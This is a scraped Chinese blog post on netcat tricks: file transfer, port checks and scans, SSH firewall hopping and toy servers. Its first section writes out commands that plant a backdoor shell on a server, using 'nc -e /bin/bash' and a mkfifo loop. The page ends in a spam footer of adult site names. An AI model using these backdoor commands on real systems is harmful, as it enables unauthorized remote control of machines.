<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          nc很強(qiáng)大,容易讓人蹲號(hào)子

          共 2839字,需瀏覽 6分鐘

           ·

          2020-08-28 09:39


          原創(chuàng):小姐姐味道(微信公眾號(hào)ID:xjjdog)

          對(duì)于nc命令來說,可真的是要一行代碼調(diào)半天。因?yàn)檫@行代碼的威力是非常大的!當(dāng)然,用不好的話,還會(huì)給自身帶來麻煩。

          netcat這個(gè)工具,簡稱nc,是Linux上一個(gè)非常強(qiáng)大的工具(當(dāng)然也有windows版本)。由于它能力實(shí)在太強(qiáng),有些公司甚至對(duì)他進(jìn)行了隔離(quarantined)。比如rename掉,或者給000的權(quán)限。因?yàn)樗苋菀卓梢栽诜?wù)器上開一個(gè)后門(backdoor),并且及其方便。

          那nc命令在什么地方呢?where is it?

          # whereis nc
          nc: /usr/bin/nc /usr/share/man/man1/nc.1.gz

          它告訴我,文件在/usr/bin目錄下。我們使用file命令來看一下它的屬性。結(jié)果發(fā)現(xiàn)它是一個(gè)鏈接文件。

          # file /usr/bin/nc
          /usr/bin/nc: symbolic link to `ncat'

          從這里我們能夠看出,nc的全稱是ncatConcatenate and redirect sockets。這是一把瑞士軍刀。

          nc的參數(shù)非常非常多,如果列出來,會(huì)讓你失去興趣,白白錯(cuò)過了這么厲害的工具,也錯(cuò)過了進(jìn)局子的機(jī)會(huì)。我們還是以案例來說明,這款不到1MB的命令,為什么俘獲了xjjdog的芳心。

          1. 服務(wù)器上安后門

          下面的命令,將在機(jī)器上開放5879端口。服務(wù)端:

          # nc -l -vv -p 5879 -e /bin/bash
          Ncat: Version 6.40 ( http://nmap.org/ncat )
          Ncat: Listening on :::5879
          Ncat: Listening on 0.0.0.0:5879

          這個(gè)過程叫做反彈shell,遠(yuǎn)程就可以使用nc命令連接,做一些事情。

          客戶端:

          # nc -v 192.16.1.54 5879
          Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!

          此時(shí),執(zhí)行任何shell命令,都可以正常運(yùn)行。下面這張gif動(dòng)畫可以驗(yàn)證這個(gè)過程。

          想要更霸道一點(diǎn)的么?我們需要借助mkfifo命令。

          在服務(wù)器上,執(zhí)行下面兩個(gè)命令,這就構(gòu)造了一個(gè)循環(huán)。

          rm -f /tmp/f; mkfifo /tmp/f
          cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f

          客戶端nc連接以后,竟然直接出現(xiàn)了命令行操作終端!

          $ nc -v 192.16.1.54 5879
          Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
          [root@localhost~]#

          你可能會(huì)說,我客戶端關(guān)掉之后,為什么服務(wù)端的命令也退出了?如果你想要服務(wù)端繼續(xù)監(jiān)聽,可以加上參數(shù)-k。

          2.文件和目錄傳送

          還在用sftp?還是用rzsz?

          這些工具雖然好用,但需要安裝。有時(shí)候事情緊急,或者權(quán)限把的嚴(yán),并沒有這樣的工具。

          此時(shí),nc可以來幫忙。

          服務(wù)端同樣監(jiān)聽一個(gè)端口,但是這次把重定向定向到一個(gè)文件。

          nc -l 5879 > file

          客戶端就可以啟動(dòng)一個(gè)命令將文件發(fā)送過去。這次是使用反向的箭頭。

          nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz

          文件傳的飛快!而且由于沒有rsa那一套的加密,速度更快了。

          查看它們的md5,一模一樣。

          MD5 (redis-5.0.5.tar.gz) = 224cabf26d622f37528b398762e1578c

          md5sum file
          224cabf26d622f37528b398762e1578c file

          我知道你的腦子里現(xiàn)在在想著怎么傳送目錄了。這個(gè)過程很有意思。

          我們把nc的輸出,使用管道交給tar命令處理。xfvzcvfz是一對(duì)參數(shù),你應(yīng)該猜到要怎么做了。

          nc -l 5879  | tar xfvz -

          沒錯(cuò),客戶端的代碼與上面的是相反的。不過這次,我們的nc命令接收了打包的文件。

          tar cfz - redis-5.0.5 |  nc -v 192.16.1.54 5879

          真的是非常巧妙。

          3.網(wǎng)絡(luò)連通性檢測

          沒錯(cuò),這是nc命令最常用的地方了。

          如果你想要判斷服務(wù)器的tomcat端口是否開啟,不需要登陸到服務(wù)器上,然后再ps一下看一下進(jìn)程,或者使用netstat -antl看一下監(jiān)聽的端口。

          使用nc就可以了。

          只需要簡單的打上ip和端口,它就能知道結(jié)果。

          # nc -vvv baidu.com 443
          Connection to baidu.com port 443 [tcp/https] succeeded!

          當(dāng)然,它也可以掃描主機(jī)的端口開放情況。不過對(duì)程序員來說用的不多。

          nc -vzw 2 192.16.1.54 8888-9999

          4.防火墻穿透

          比如下面這張圖。你想要訪問tongariro的這臺(tái)機(jī)器,但是你是沒有權(quán)限的。它只能通過aoraki的防火墻訪問。同時(shí),aoraki也只能接受來自ruapehu的請(qǐng)求。

          通過組合ssh命令可以達(dá)到這個(gè)效果。

          ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro

          通過ssh的ProxyCommand,可以完成簡單的配置。

          使用下面的命令可以快速打通這個(gè)通道。

          ssh -oProxyCommand="ssh host1 nc host2 22" host2

          5.其他

          你可以看到了。nc的這些能力,不是nc自身提供的,而是其他額外的命令。

          比如,這里實(shí)現(xiàn)一個(gè)簡單的時(shí)間服務(wù)器。web瀏覽器訪問即可獲取。

          ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK\r\n\r\nThe date is "; date;'

          再比如,做一個(gè)遠(yuǎn)程視頻服務(wù)。

          服務(wù)端。

          arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -

          客戶端。

          arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -****


          推薦閱讀:


          喜歡我可以給我設(shè)為星標(biāo)哦

          好文章,我“在看”
          瀏覽 34
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  免费啪啪网站。 | 999综合色 | 丝袜操逼网| 天天插天天操天天干 | 国产一级片哪里可以看 |